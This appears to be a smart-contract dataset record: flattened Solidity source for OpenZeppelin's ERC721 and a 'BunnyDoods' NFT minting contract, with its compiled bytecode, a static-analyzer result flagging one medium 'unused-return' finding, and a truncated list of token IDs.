* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
_afterTokenTransfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
_afterTokenTransfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
_afterTokenTransfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: contracts/BunnyDoods.sol
pragma solidity >=0.7.0 <0.9.0;
contract BunnyDoods is ERC721, Ownable {
using Strings for uint256;
using Counters for Counters.Counter;
Counters.Counter private supply;
string public uriPrefix = "";
string public uriSuffix = ".json";
string public hiddenMetadataUri;
uint256 public cost = 0.01 ether;
uint256 public maxSupply = 7777;
uint256 public maxMintAmountPerTx = 20;
bool public paused = true;
bool public revealed = false;
constructor() ERC721("BunnyDoods", "BunnyDoods") {
setHiddenMetadataUri("ipfs://QmREA2bhbMCf2JuMRCh4PunnnTJJxZ1S4fEQwsFvh1R1B4/hidden.json");
}
modifier mintCompliance(uint256 _mintAmount) {
require(_mintAmount > 0 && _mintAmount <= maxMintAmountPerTx, "Invalid mint amount!");
require(supply.current() + _mintAmount <= maxSupply, "Max supply exceeded!");
_;
}
function totalSupply() public view returns (uint256) {
return supply.current();
}
function mint(uint256 _mintAmount) public payable mintCompliance(_mintAmount) {
require(!paused, "The contract is paused!");
require(msg.value >= cost * _mintAmount, "Insufficient funds!");
_mintLoop(msg.sender, _mintAmount);
}
function mintForAddress(uint256 _mintAmount, address _receiver) public mintCompliance(_mintAmount) onlyOwner {
_mintLoop(_receiver, _mintAmount);
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
uint256 ownerTokenCount = balanceOf(_owner);
uint256[] memory ownedTokenIds = new uint256[](ownerTokenCount);
uint256 currentTokenId = 1;
uint256 ownedTokenIndex = 0;
while (ownedTokenIndex < ownerTokenCount && currentTokenId <= maxSupply) {
address currentTokenOwner = ownerOf(currentTokenId);
if (currentTokenOwner == _owner) {
ownedTokenIds[ownedTokenIndex] = currentTokenId;
ownedTokenIndex++;
}
currentTokenId++;
}
return ownedTokenIds;
}
function tokenURI(uint256 _tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(_tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
if (revealed == false) {
return hiddenMetadataUri;
}
string memory currentBaseURI = _baseURI();
return bytes(currentBaseURI).length > 0
? string(abi.encodePacked(currentBaseURI, _tokenId.toString(), uriSuffix))
: "";
}
function setRevealed(bool _state) public onlyOwner {
revealed = _state;
}
function setCost(uint256 _cost) public onlyOwner {
cost = _cost;
}
function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx) public onlyOwner {
maxMintAmountPerTx = _maxMintAmountPerTx;
}
function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner {
hiddenMetadataUri = _hiddenMetadataUri;
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
uriPrefix = _uriPrefix;
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
uriSuffix = _uriSuffix;
}
function setPaused(bool _state) public onlyOwner {
paused = _state;
}
function withdraw() public onlyOwner {
// This will transfer the remaining contract balance to the owner.
// Do not remove this otherwise you will not be able to withdraw the funds.
// =============================================================================
(bool os, ) = payable(owner()).call{value: address(this).balance}("");
require(os);
// =============================================================================
}
function _mintLoop(address _receiver, uint256 _mintAmount) internal {
for (uint256 i = 0; i < _mintAmount; i++) {
supply.increment();
_safeMint(_receiver, supply.current());
}
}
function _baseURI() internal view virtual override returns (string memory) {
return uriPrefix;
}
} | 0x60806040526004361061020f5760003560e01c80636352211e11610118578063a45ba8e7116100a0578063d5abeb011161006f578063d5abeb01146105c9578063e0a80853146105df578063e985e9c5146105ff578063efbd73f414610648578063f2fde38b1461066857600080fd5b8063a45ba8e714610554578063b071401b14610569578063b88d4fde14610589578063c87b56dd146105a957600080fd5b80638da5cb5b116100e75780638da5cb5b146104d857806394354fd0146104f657806395d89b411461050c578063a0712d6814610521578063a22cb4651461053457600080fd5b80636352211e1461046357806370a0823114610483578063715018a6146104a35780637ec4a659146104b857600080fd5b80633ccfd60b1161019b5780634fdd43cb1161016a5780634fdd43cb146103e057806351830227146104005780635503a0e81461041f5780635c975abb1461043457806362b99ad41461044e57600080fd5b80633ccfd60b1461035e57806342842e0e14610373578063438b63001461039357806344a0d68a146103c057600080fd5b806313faede6116101e257806313faede6146102c557806316ba10e0146102e957806316c38b3c1461030957806318160ddd1461032957806323b872dd1461033e57600080fd5b806301ffc9a71461021457806306fdde0314610249578063081812fc1461026b578063095ea7b3146102a3575b600080fd5b34801561022057600080fd5b5061023461022f366004611e09565b610688565b60405190151581526020015b60405180910390f35b34801561025557600080fd5b5061025e6106da565b6040516102409190612039565b34801561027757600080fd5b5061028b610286366004611e8c565b61076c565b6040516001600160a01b039091168152602001610240565b3480156102af57600080fd5b506102c36102be366004611dc4565b610806565b005b3480156102d157600080fd5b506102db600b5481565b604051908152602001610240565b3480156102f557600080fd5b506102c3610304366004611e43565b61091c565b34801561031557600080fd5b506102c3610324366004611dee565b61095d565b34801561033557600080fd5b506102db61099a565b34801561034a57600080fd5b506102c3610359366004611ce2565b6109aa565b34801561036a57600080fd5b506102c36109db565b34801561037f57600080fd5b506102c361038e366004611ce2565b610a79565b34801561039f57600080fd5b506103b36103ae366004611c94565b610a94565b6040516102409190611ff5565b3480156103cc57600080fd5b506102c36103db366004611e8c565b610b75565b3480156103ec57600080fd5b506102c36103fb366004611e43565b610ba4565b34801561040c57600080fd5b50600e5461023490610100900460ff1681565b34801561042b57600080fd5b5061025e610be1565b34801561044057600080fd5b50600e546102349060ff1681565b34801561045a57600080fd5b5061025e610c6f565b34801561046f57600080fd5b5061028b61047e366004611e8c565b610c7c565b34801561048f57600080fd5b506102db61049e366004611c94565b610cf3565b3480156104af57600080fd5b506102c3610d7a565b3480156104c457600080fd5b506102c36104d3366004611e43565b610db0565b3480156104e457600080fd5b506006546001600160a01b031661028b565b34801561050257600080fd5b506102db600d5481565b34801561051857600080fd5b5061025e610ded565b6102c361052f366004611e8c565b610dfc565b34801561054057600080fd5b506102c361054f366004611d9a565b610f5e565b34801561056057600080fd5b5061025e610f69565b34801561057557600080fd5b506102c3610584366004611e8c565b610f76565b34801561059557600080fd5b506102c36105a4366004611d1e565b610fa5565b3480156105b557600080fd5b5061025e6105c4366004611e8c565b610fdd565b3480156105d557600080fd5b506102db600c5481565b3480156105eb57600080fd5b506102c36105fa366004611dee565b61115c565b34801561060b57600080fd5b5061023461061a366004611caf565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b34801561065457600080fd5b506102c3610663366004611ea5565b6111a0565b34801561067457600080fd5b506102c3610683366004611c94565b611286565b60006001600160e01b031982166380ac58cd60e01b14806106b957506001600160e01b03198216635b5e139f60e01b145b806106d457506301ffc9a760e01b6001600160e01b03198316145b92915050565b6060600080546106e9906121b2565b80601f0160208091040260200160405190810160405280929190818152602001828054610715906121b2565b80156107625780601f1061073757610100808354040283529160200191610762565b820191906000526020600020905b81548152906001019060200180831161074557829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b03166107ea5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084015b60405180910390fd5b506000908152600460205260409020546001600160a01b031690565b600061081182610c7c565b9050806001600160a01b0316836001600160a01b0316141561087f5760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b60648201526084016107e1565b336001600160a01b038216148061089b575061089b813361061a565b61090d5760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c000000000000000060648201526084016107e1565b610917838361131e565b505050565b6006546001600160a01b031633146109465760405162461bcd60e51b81526004016107e19061209e565b8051610959906009906020840190611b59565b5050565b6006546001600160a01b031633146109875760405162461bcd60e51b81526004016107e19061209e565b600e805460ff1916911515919091179055565b60006109a560075490565b905090565b6109b4338261138c565b6109d05760405162461bcd60e51b81526004016107e1906120d3565b610917838383611483565b6006546001600160a01b03163314610a055760405162461bcd60e51b81526004016107e19061209e565b6000610a196006546001600160a01b031690565b6001600160a01b03164760405160006040518083038185875af1925050503d8060008114610a63576040519150601f19603f3d011682016040523d82523d6000602084013e610a68565b606091505b5050905080610a7657600080fd5b50565b61091783838360405180602001604052806000815250610fa5565b60606000610aa183610cf3565b905060008167ffffffffffffffff811115610abe57610abe61225e565b604051908082528060200260200182016040528015610ae7578160200160208202803683370190505b509050600160005b8381108015610b005750600c548211155b15610b6b576000610b1083610c7c565b9050866001600160a01b0316816001600160a01b03161415610b585782848381518110610b3f57610b3f612248565b602090810291909101015281610b54816121ed565b9250505b82610b62816121ed565b93505050610aef565b5090949350505050565b6006546001600160a01b03163314610b9f5760405162461bcd60e51b81526004016107e19061209e565b600b55565b6006546001600160a01b03163314610bce5760405162461bcd60e51b81526004016107e19061209e565b805161095990600a906020840190611b59565b60098054610bee906121b2565b80601f0160208091040260200160405190810160405280929190818152602001828054610c1a906121b2565b8015610c675780601f10610c3c57610100808354040283529160200191610c67565b820191906000526020600020905b815481529060010190602001808311610c4a57829003601f168201915b505050505081565b60088054610bee906121b2565b6000818152600260205260408120546001600160a01b0316806106d45760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b60648201526084016107e1565b60006001600160a01b038216610d5e5760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b60648201526084016107e1565b506001600160a01b031660009081526003602052604090205490565b6006546001600160a01b03163314610da45760405162461bcd60e51b81526004016107e19061209e565b610dae600061161f565b565b6006546001600160a01b03163314610dda5760405162461bcd60e51b81526004016107e19061209e565b8051610959906008906020840190611b59565b6060600180546106e9906121b2565b80600081118015610e0f5750600d548111155b610e525760405162461bcd60e51b8152602060048201526014602482015273496e76616c6964206d696e7420616d6f756e742160601b60448201526064016107e1565b600c5481610e5f60075490565b610e699190612124565b1115610eae5760405162461bcd60e51b81526020600482015260146024820152734d617820737570706c792065786365656465642160601b60448201526064016107e1565b600e5460ff1615610f015760405162461bcd60e51b815260206004820152601760248201527f54686520636f6e7472616374206973207061757365642100000000000000000060448201526064016107e1565b81600b54610f0f9190612150565b341015610f545760405162461bcd60e51b8152602060048201526013602482015272496e73756666696369656e742066756e64732160681b60448201526064016107e1565b6109593383611671565b6109593383836116ae565b600a8054610bee906121b2565b6006546001600160a01b03163314610fa05760405162461bcd60e51b81526004016107e19061209e565b600d55565b610faf338361138c565b610fcb5760405162461bcd60e51b81526004016107e1906120d3565b610fd78484848461177d565b50505050565b6000818152600260205260409020546060906001600160a01b031661105c5760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201526e3732bc34b9ba32b73a103a37b5b2b760891b60648201526084016107e1565b600e54610100900460ff166110fd57600a8054611078906121b2565b80601f01602080910402602001604051908101604052809291908181526020018280546110a4906121b2565b80156110f15780601f106110c6576101008083540402835291602001916110f1565b820191906000526020600020905b8154815290600101906020018083116110d457829003601f168201915b50505050509050919050565b60006111076117b0565b905060008151116111275760405180602001604052806000815250611155565b80611131846117bf565b600960405160200161114593929190611ef4565b6040516020818303038152906040525b9392505050565b6006546001600160a01b031633146111865760405162461bcd60e51b81526004016107e19061209e565b600e80549115156101000261ff0019909216919091179055565b816000811180156111b35750600d548111155b6111f65760405162461bcd60e51b8152602060048201526014602482015273496e76616c6964206d696e7420616d6f756e742160601b60448201526064016107e1565b600c548161120360075490565b61120d9190612124565b11156112525760405162461bcd60e51b81526020600482015260146024820152734d617820737570706c792065786365656465642160601b60448201526064016107e1565b6006546001600160a01b0316331461127c5760405162461bcd60e51b81526004016107e19061209e565b6109178284611671565b6006546001600160a01b031633146112b05760405162461bcd60e51b81526004016107e19061209e565b6001600160a01b0381166113155760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107e1565b610a768161161f565b600081815260046020526040902080546001600160a01b0319166001600160a01b038416908117909155819061135382610c7c565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000818152600260205260408120546001600160a01b03166114055760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084016107e1565b600061141083610c7c565b9050806001600160a01b0316846001600160a01b0316148061144b5750836001600160a01b03166114408461076c565b6001600160a01b0316145b8061147b57506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b031661149682610c7c565b6001600160a01b0316146114fa5760405162461bcd60e51b815260206004820152602560248201527f4552433732313a207472616e736665722066726f6d20696e636f72726563742060448201526437bbb732b960d91b60648201526084016107e1565b6001600160a01b03821661155c5760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b60648201526084016107e1565b61156760008261131e565b6001600160a01b038316600090815260036020526040812080546001929061159090849061216f565b90915550506001600160a01b03821660009081526003602052604081208054600192906115be908490612124565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b600680546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b60005b818110156109175761168a600780546001019055565b61169c8361169760075490565b6118bd565b806116a6816121ed565b915050611674565b816001600160a01b0316836001600160a01b031614156117105760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c65720000000000000060448201526064016107e1565b6001600160a01b03838116600081815260056020908152604080832094871680845294825291829020805460ff191686151590811790915591519182527f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a3505050565b611788848484611483565b611794848484846118d7565b610fd75760405162461bcd60e51b81526004016107e19061204c565b6060600880546106e9906121b2565b6060816117e35750506040805180820190915260018152600360fc1b602082015290565b8160005b811561180d57806117f7816121ed565b91506118069050600a8361213c565b91506117e7565b60008167ffffffffffffffff8111156118285761182861225e565b6040519080825280601f01601f191660200182016040528015611852576020820181803683370190505b5090505b841561147b5761186760018361216f565b9150611874600a86612208565b61187f906030612124565b60f81b81838151811061189457611894612248565b60200101906001600160f81b031916908160001a9053506118b6600a8661213c565b9450611856565b6109598282604051806020016040528060008152506119e4565b60006001600160a01b0384163b156119d957604051630a85bd0160e11b81526001600160a01b0385169063150b7a029061191b903390899088908890600401611fb8565b602060405180830381600087803b15801561193557600080fd5b505af1925050508015611965575060408051601f3d908101601f1916820190925261196291810190611e26565b60015b6119bf573d808015611993576040519150601f19603f3d011682016040523d82523d6000602084013e611998565b606091505b5080516119b75760405162461bcd60e51b81526004016107e19061204c565b805181602001fd5b6001600160e01b031916630a85bd0160e11b14905061147b565b506001949350505050565b6119ee8383611a17565b6119fb60008484846118d7565b6109175760405162461bcd60e51b81526004016107e19061204c565b6001600160a01b038216611a6d5760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f206164647265737360448201526064016107e1565b6000818152600260205260409020546001600160a01b031615611ad25760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e7465640000000060448201526064016107e1565b6001600160a01b0382166000908152600360205260408120805460019290611afb908490612124565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b828054611b65906121b2565b90600052602060002090601f016020900481019282611b875760008555611bcd565b82601f10611ba057805160ff1916838001178555611bcd565b82800160010185558215611bcd579182015b82811115611bcd578251825591602001919060010190611bb2565b50611bd9929150611bdd565b5090565b5b80821115611bd95760008155600101611bde565b600067ffffffffffffffff80841115611c0d57611c0d61225e565b604051601f8501601f19908116603f01168101908282118183101715611c3557611c3561225e565b81604052809350858152868686011115611c4e57600080fd5b858560208301376000602087830101525050509392505050565b80356001600160a01b0381168114611c7f57600080fd5b919050565b80358015158114611c7f57600080fd5b600060208284031215611ca657600080fd5b61115582611c68565b60008060408385031215611cc257600080fd5b611ccb83611c68565b9150611cd960208401611c68565b90509250929050565b600080600060608486031215611cf757600080fd5b611d0084611c68565b9250611d0e60208501611c68565b9150604084013590509250925092565b60008060008060808587031215611d3457600080fd5b611d3d85611c68565b9350611d4b60208601611c68565b925060408501359150606085013567ffffffffffffffff811115611d6e57600080fd5b8501601f81018713611d7f57600080fd5b611d8e87823560208401611bf2565b91505092959194509250565b60008060408385031215611dad57600080fd5b611db683611c68565b9150611cd960208401611c84565b60008060408385031215611dd757600080fd5b611de083611c68565b946020939093013593505050565b600060208284031215611e0057600080fd5b61115582611c84565b600060208284031215611e1b57600080fd5b813561115581612274565b600060208284031215611e3857600080fd5b815161115581612274565b600060208284031215611e5557600080fd5b813567ffffffffffffffff811115611e6c57600080fd5b8201601f81018413611e7d57600080fd5b61147b84823560208401611bf2565b600060208284031215611e9e57600080fd5b5035919050565b60008060408385031215611eb857600080fd5b82359150611cd960208401611c68565b60008151808452611ee0816020860160208601612186565b601f01601f19169290920160200192915050565b600084516020611f078285838a01612186565b855191840191611f1a8184848a01612186565b8554920191600090600181811c9080831680611f3757607f831692505b858310811415611f5557634e487b7160e01b85526022600452602485fd5b808015611f695760018114611f7a57611fa7565b60ff19851688528388019550611fa7565b60008b81526020902060005b85811015611f9f5781548a820152908401908801611f86565b505083880195505b50939b9a5050505050505050505050565b6001600160a01b0385811682528416602082015260408101839052608060608201819052600090611feb90830184611ec8565b9695505050505050565b6020808252825182820181905260009190848201906040850190845b8181101561202d57835183529284019291840191600101612011565b50909695505050505050565b6020815260006111556020830184611ec8565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b600082198211156121375761213761221c565b500190565b60008261214b5761214b612232565b500490565b600081600019048311821515161561216a5761216a61221c565b500290565b6000828210156121815761218161221c565b500390565b60005b838110156121a1578181015183820152602001612189565b83811115610fd75750506000910152565b600181811c908216806121c657607f821691505b602082108114156121e757634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156122015761220161221c565b5060010190565b60008261221757612217612232565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160e01b031981168114610a7657600080fdfea264697066735822122079a19adce4ad1ff256498a1ab69ed79b33e7433e67d297d3a12794a26d529dfb64736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
25746,
19961,
2620,
2549,
2063,
2581,
6679,
2475,
2546,
22022,
2497,
2683,
2581,
15878,
2620,
4783,
2050,
24087,
21057,
2581,
11329,
10354,
2487,
7875,
20952,
2575,
2546,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
1013,
1013,
5371,
1024,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
21183,
12146,
1013,
24094,
1012,
14017,
1013,
1013,
2330,
4371,
27877,
2378,
8311,
1058,
2549,
1012,
1018,
